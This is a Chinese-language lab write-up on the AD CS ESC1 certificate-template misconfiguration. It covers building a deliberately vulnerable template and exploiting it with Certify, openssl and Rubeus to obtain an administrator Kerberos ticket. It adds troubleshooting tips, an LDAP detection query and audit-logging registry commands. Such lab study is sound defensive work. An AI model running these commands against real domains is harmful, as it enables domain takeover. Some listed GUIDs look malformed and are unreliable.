ADCS篇-ESC1
ESC1
参考:
搭建:
角色 | IP | 系统信息 |
---|---|---|
DC01 | 192.168.198.10 | win2019x64-10.0.17763 暂缺 Build 17763 |
CA01 | 192.168.198.20 | win2019x64-10.0.17763 暂缺 Build 17763 |
IT01 | 192.168.198.115 | win10x64-10.0.18363 暂缺 Build 18363 |
搭建 dc 中规中矩 略
搭建域内工作机器 略
搭建配置不当 ESC1 环境
打开 mmc 添加/删除管理单元
添加证书模板 和 证书颁发机构
复制工作站身份认证模板
配置模板
修改模板名为 ESC1
扩展–> 应用程序策略 –> 加入客户端身份认证
安全 –> 高级添加 domain users 权限
至此配置模板结束,此时使用工具检测,会出现如下错误,细节参阅坑点一
[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish
配置结束后
利用:
工具:
通过 Certify 申请证书
Certify.exe request /ca:CA01.adsec.com\adsec-CA01-CA /template:ESC1 /altname:administrator
将结果保存为 cert.pem
上条命令结尾已经给出下一步
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
不输入密码直接回车,生成 cert.pfx
使用 Rubeus 获取 TGT
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:dc01.adsec.com /ptt
利用结束:
坑点一
未发布证书导致错误:
[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish
错误如图所示:
解决办法:
打开服务管理器 -> 证书服务器右键 -> 证书颁发机构 -> 选择证书模板 新建选择刚才配置好的模板
致谢:略略略
坑点二
在 Rubeus 使用过程中 可能存在:KDC_ERR_CLIENT_NOT_TRUSTED
引用:官方说明
?可能原因(未找到文档说明,但是有效此次实验表现):域内时间不同步。
解决方法:
致谢:自在拉基
刷新组策略
gpupdate /force
回到域内机器,进行时间同步
w32tm /resync /computer:dc01.adsec.com
坑点三
在 Rubeus 使用过程中,KDC_ERR_PADATA_TYPE_NOSUPP
引用:官方说明
解决方法:
在 dc 打开组策略
检测方法:
Tip: OID 1.2.840.113556.1.4.804 (允许位运算)
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=adsec,DC=local'
CertEntryId = EntryId 则符合条件,不考虑权限,满足ESC1 条件。
查询解析出来的安全描述符 业务表
对于证书模板,模板的 DACL 中的以下 ACE 可能会导致主体具有注册权限:
- ACE 为主体授予证书注册(Certificate-Enrollment)扩展权限。这个 ACE 授予主体
RIGHT_DS_CONTROL_ACCESS
访问权限,其中ObjectType
设置为0e10c968-78fb-11d2-90d4-00c04f79dc5547
。此 GUID 对应于 Certificate-Enrollment 权限。 - ACE 为主体授予证书自动注册 (Certificate-AutoEnrollment)扩展权限。这个 ACE 授予主体
RIGHT_DS_CONTROL_ACCESS
访问权限,其中ObjectType
设置为a05b8cc2-17bc-4802-a710-e7c15ab866a249
。此 GUID 对应于 Certificate-AutoEnrollment 扩展权限。 - ACE 为主体授予所有扩展(ExtendedRights)权限。这个 ACE 启⽤
RIGHT_DS_CONTROL_ACCESS
访问权限,其中ObjectType
设置为00000000- 0000-0000-0000-000000000000
。此 GUID 对应于 ExtendedRights 权限。 - ACE 为主体授予完全控制(FullControl/GenericAll)权限。这个 ACE 启用 FullControl/GenericAll 访问权限。
开启证书日志审计
HKEY_CURRENT_USER\Software\Microsoft\Cryptography\Autoenrollment AEEventLogLevel 0(用户自动注册)
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Autoenrollment AEEventLogLevel 0(机器自动注册)
reg add "HKEY_CURRENT_USER\Software\Microsoft\Cryptography\Autoenrollment" /v AEEventLogLevel /t REG_DWORD /d 0
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Autoenrollment" /v AEEventLogLevel /t REG_DWORD /d 0